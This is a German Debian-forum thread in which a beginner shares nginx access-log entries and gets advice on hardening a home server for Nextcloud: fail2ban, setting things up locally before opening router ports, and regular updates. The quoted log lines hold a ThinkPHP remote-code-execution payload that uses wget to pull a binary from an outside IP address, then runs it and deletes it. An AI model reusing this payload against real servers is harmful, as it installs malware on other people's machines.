Nginx Access.log Virusangriffe

Einrichten des lokalen Netzes, Verbindung zu anderen Computern und Diensten.
Antworten
Aliastargz
Beiträge: 81
Registriert: 25.11.2018 23:37:42

Nginx Access.log Virusangriffe

Beitrag von Aliastargz » 13.07.2019 02:01:12

Hallo liebes Forum,
ich setze mich momentan mit Webservern auseinander. Perspektivisch möchte ich eine eigene kleine Cloud via Nextcloud aufbauen. Um erst mal klein anzufangen, habe ich nginx, ufw und ssh installiert und konfiguriert. ssh ist natürlich nur per key zugang möglich und es sind alle Ports bis auf OpenSSH und nginx zu.

Dabei habe ich mich hauptsächlich an die Guides von DigitalOcean und Debian gehalten. Nun schaue ich mir interessiert die Logs an und finde:

Code: Alles auswählen

112.187.26.240 - - [13/Jul/2019:00:17:48 +0200] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://198.12.97.68/bins/UnHAnaAW.x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 400 173 "-" "Uirusu/2.0"
103.102.56.154 - - [13/Jul/2019:00:52:38 +0200] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://37.59.242.121/bins/UnHAnaAW.x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 400 173 "-" "Uirusu/2.0"
91.135.194.190 - - [13/Jul/2019:01:04:24 +0200] "GET /index.php?s=/index/\x09hink\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://37.59.242.121/bins/UnHAnaAW.x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1" 400 173 "-" "Uirusu/2.0"
Da versucht ja tatsächlich schon nach ein paar Minuten jemand einen Virus zu installieren. Da wird einem natürlich bewusst wie wichtig Sicherheit ist.
Wenn ich weiteres "Hardening" an meinen Server betreibe, reicht dann das Lesen von den Guides von DigitalOcean oder empfiehlt es sich, noch weitere Lektüre zu konsultieren? Muss / Kann man diese IP Adresse, die nur dazu da ist Viren zu verteilen irgendwo melden?

Ich lese schonmal, wie man für solche IP Addressen eine Blacklist konfiguriert, wollte mir aber dennoch ein paar Tipps einholen und halt wissen, ob jemand zeit und lust hat mir noch ein paar tipps auf den Weg zugeben.

Vielen Dank für Tipps und Anregungen.

irgendwas
Beiträge: 278
Registriert: 04.04.2016 18:53:19
Lizenz eigener Beiträge: MIT Lizenz

Re: Nginx Access.log Virusangriffe

Beitrag von irgendwas » 13.07.2019 08:36:26

Spontan fallen mir da folgende Tools/Links/Tipps ein: ¹) Die Lynis-Tipps sind manchmal etwas banal und sinnfrei (z.B. irgendwelche Banner), andere wiederum sehr nützlich. Muss man also abwägen :wink:
²) Kann sehr zeitaufwendig sein. Gut eingerichtet ist es dann, wenn alle nicht benötigten Funktionen deaktiviert sind - das erfordert viel Recherchearbeit und testen
Aliastargz hat geschrieben: ↑ zum Beitrag ↑
13.07.2019 02:01:12
Muss / Kann man diese IP Adresse, die nur dazu da ist Viren zu verteilen irgendwo melden?
Das kann man sich (meiner Meinung nach) sparen. Sowas erfolgt meist automatisiert durch irgendwelche Bots. Wenn man jede IP-Adresse melden würde, ist man vermutlich den ganzen Tag beschäftigt :mrgreen:

Aliastargz
Beiträge: 81
Registriert: 25.11.2018 23:37:42

Re: Nginx Access.log Virusangriffe

Beitrag von Aliastargz » 13.07.2019 20:28:52

Hallo nobody und Mitleser,
vielen Dank für die Tipps und sehr lieb von dir, dass du direkt Links dazugepackt hast. Ich konnte den Hardening Index erhöhen. Allerdings gibt es noch das Problem, dass wenn man mit schneller Abfolge Anmeldeversuche mit ssh unternimmt, die CPU Last des Servers schon recht hochausfällt mit 80%. Ansonsten scheint mir das Setup aber relativ robust.

Ich hatte aber heute leider einen kleinen Schrecken bekommen, da ich mich nicht mehr auf meiner EasyBox als Admin anmelden konnte. Nun frage ich mich natürlich, ob die offenen Ports, also einer für ssh und der 80er daran Schuld gewesen sein könnten und ob sich jemand schon nach einem Tag Zugang in mein Netzwerk verschaffen konnte.

Nun habe ich bei meinem Internetanbieter angerufen und einfach direkt eine neue MIC und Anschluss bekommen. Leider konnte / durfte mir mein Internetanbieter nicht sagen, ob jemand Zugang bekommen hat oder ob sich die EasyBox nach x Versuchen falscher Passworteingabe sperrt. Ich hatte das Gefühl nicht so wirklich ernst genommen zu werden, bzw, dass der Servicemensch nicht so genau wusste, was ich eigentlich gemacht habe und worin meine Sorge besteht. Ich hatte ja nur zwei Ports manuell auf den Server geleitet und wundere mich plötzlich keinen Zugang mehr zu der Box zu haben...

Naja. Deshalb frage ich nochmal hier im Forum. Mir ist nichts verdächtiges an den Rechnern aufgefallen, die alle nochmal seperat die ufw Firewall installiert haben. Nur der Rechner von meiner Freundin hat Windows 10. Da habe ich keine Ahnung wie strikt die Firewall ist.

irgendwas
Beiträge: 278
Registriert: 04.04.2016 18:53:19
Lizenz eigener Beiträge: MIT Lizenz

Re: Nginx Access.log Virusangriffe

Beitrag von irgendwas » 13.07.2019 21:11:14

Meine persönliche Meinung: Wenn das ganze System noch ganz frisch ist, würde ich lieber neu aufsetzen. Die Zeit für die Suche würde die einer Neukonfiguration übersteigen. Als erstes würde ich dann aber keine Ports am Router öffnen, sondern alles lokal einrichten und sobald alles fertig ist, nur die absolut notwendigen Ports öffnen (z.B. explizit nur 443 (https) oder 1149 (OpenVPN)) . SSH-Zugang von außerhalb ist in den seltensten Fällen notwendig.

Edit: Fehlerhafte SSH Logins sollten keine Höhe CPU Last verursachen. Üblich wäre nach 3 fehlerhaften Logins die IP über fail2ban zu sperren. Und fail2ban greif meines Wissens nach direkt auf die iptables zu.

Aliastargz
Beiträge: 81
Registriert: 25.11.2018 23:37:42

Re: Nginx Access.log Virusangriffe

Beitrag von Aliastargz » 13.07.2019 21:40:30

Oh.
Ist es also wahrscheinlich, dass der Server erfolgreich attackiert wurde? Der hatte ja noch nichtmal einen browser installiert, mit dem man sich auf der Seite des Router hätte einwählen können. Tatsächlich habe ich eine Neuinstallation sowieso in Betracht gezogen, da es ja vll sinnvoll ist, das /var Verzeichnis auszulagern, sollte der Server wirklich länger laufen und nachher die Logs voll laufen.
Der Server hatte keine Keys installiert und ein recht starkes PW. Auch bin ich etwas baff, da ich dachte, dass der Port 80 geöffnet werden muss, damit die Website angezeigt werden kann. Anscheinend muss ich noch einiges lesen und lernen...

irgendwas
Beiträge: 278
Registriert: 04.04.2016 18:53:19
Lizenz eigener Beiträge: MIT Lizenz

Re: Nginx Access.log Virusangriffe

Beitrag von irgendwas » 13.07.2019 23:06:19

Aliastargz hat geschrieben: ↑ zum Beitrag ↑
13.07.2019 21:40:30
Oh.
Ist es also wahrscheinlich, dass der Server erfolgreich attackiert wurde?
Das hab ich nicht gesagt ;) Ich meinte damit, dass man nicht garantieren kann, dass der Server sauber ist.

Mir erschließt sich nicht so ganz der Zusammenhang zwischen deinem Server und der Weboberfläche deines Routers (u.a. dem Port 80 und Firefox) , daher frag ich einfach mal so: Was hast du mit dem Server eigentlich vor?

Und ganz nebenbei: Fahr den Server herunter und entferne alle Portweiterleitung aus deinem Router - Sicher ist sicher.

Edit: Habs gerade in deinem ersten Post gelesen. Also gut, Nextcloud soll es werden. Das kann man alles erstmal lokal einrichten, ohne dass der Webserver von außerhalb erreichbar ist. Innerhalb deines Netzwerks kannst du die Nextcloud unter der IP Adresse des Servers erreichen und somit erstmal in Ruhe alles ausprobieren und einrichten. Wenn dann alles läuft und sicher eingerichtet ist, kannst du die Portweiterleitung einrichten und Nextcloud/Nginx dementsprechend anpassen.

Das wäre der beste und vor allem sicherste Weg. Es gibt (leider) zu viele Webserver die schlecht oder gar nicht konfiguriert wurden und jetzt fleißig Cryptowährungen schürfen, Spams verschicken oder Teil eines Botnetzes sind.

Aliastargz
Beiträge: 81
Registriert: 25.11.2018 23:37:42

Re: Nginx Access.log Virusangriffe

Beitrag von Aliastargz » 13.07.2019 23:25:58

Ja sicher ist sicher. Ich hab den Server gerade im Debug Modus und hol noch ein paar Datein von /home.
Ich wollte sowieso nochmal neustarten, da der Server mir mit einer Rootpartition nicht so gewappnet scheint. Dann partitioniere ich mir das alles nochmal so, wie ich das haben will.

Vermutlich lag es eher an meiner Konfiguration des Routers, dass ich mich nicht mehr anmelden konnte. Kann sogar das Update von Firefox sein, da wurde heute eins eingespielt. Man weiß es nicht.

Aber es muss ja mindestens ein Port für die Website / Service über den Router geöffnet werden. Ist das dann nicht der Port 80, oder habe ich einen kompletten Fehler im Verständnis?

irgendwas
Beiträge: 278
Registriert: 04.04.2016 18:53:19
Lizenz eigener Beiträge: MIT Lizenz

Re: Nginx Access.log Virusangriffe

Beitrag von irgendwas » 14.07.2019 06:32:00

Aliastargz hat geschrieben: ↑ zum Beitrag ↑
13.07.2019 23:25:58
Aber es muss ja mindestens ein Port für die Website / Service über den Router geöffnet werden. Ist das dann nicht der Port 80, oder habe ich einen kompletten Fehler im Verständnis?
Ist zum Teil richtig. Also erstens passen die Begriffe "Nextcloud" und "Port 80" nicht zusammen, denn dieser ist standardmäßig unverschlüsselt. Und zweitens brauchst du erstmal keine offenen Ports am Router.

Wie gesagt, erstmal alles lokal einrichten. Am besten auch schon mit selbstsignierten Zertifikaten. Wenn alles funktioniert, kannst du die Portweiterleitung am Router einrichten und die Nextcloud von außen erreichbar machen. Zur Verschlüsselung gibts die LetsEncrypt-Zertifikate, die du dann zum Schluss einrichten kannst. Ein ausführliches Tutorial gibts z.B. hier: https://decatec.de/home-server/nextclou ... ryptacmesh

Zum Schluss noch: Sowas einzurichten braucht gerade am Anfang viel Ruhe, Geduld und viel viel Zeit. Doch damit nicht genug: Wer denkt, dass ein einmaliges Einrichten genügt und man sich dann anschließend zurücklehnen kann, der wird leider täuscht sein. Das funktioniert nicht. Es gibt zwei wichtige Punkte:

1. Updates! 2. Regelmäßige Kontrolle
  • Du musst immer wieder deine Konfiguration hinterfragen, z.B.:
    • Passen die fail2ban Filter noch?
    • Stimmen die OSSEC Regeln?
    • Gibts auffällige Logeinträge?
    • Erhält mein SSL-Zertifikat immer noch die Bestnote A+?
    • Gibt es irgendwas, was ich noch verbessern kann?
Aliastargz hat geschrieben: ↑ zum Beitrag ↑
13.07.2019 21:40:30
[...] sollte der Server wirklich länger laufen und nachher die Logs voll laufen [...]
Dafür gibts Logrotate: http://www.linux-praxis.de/lpic1/manpag ... otate.html

Antworten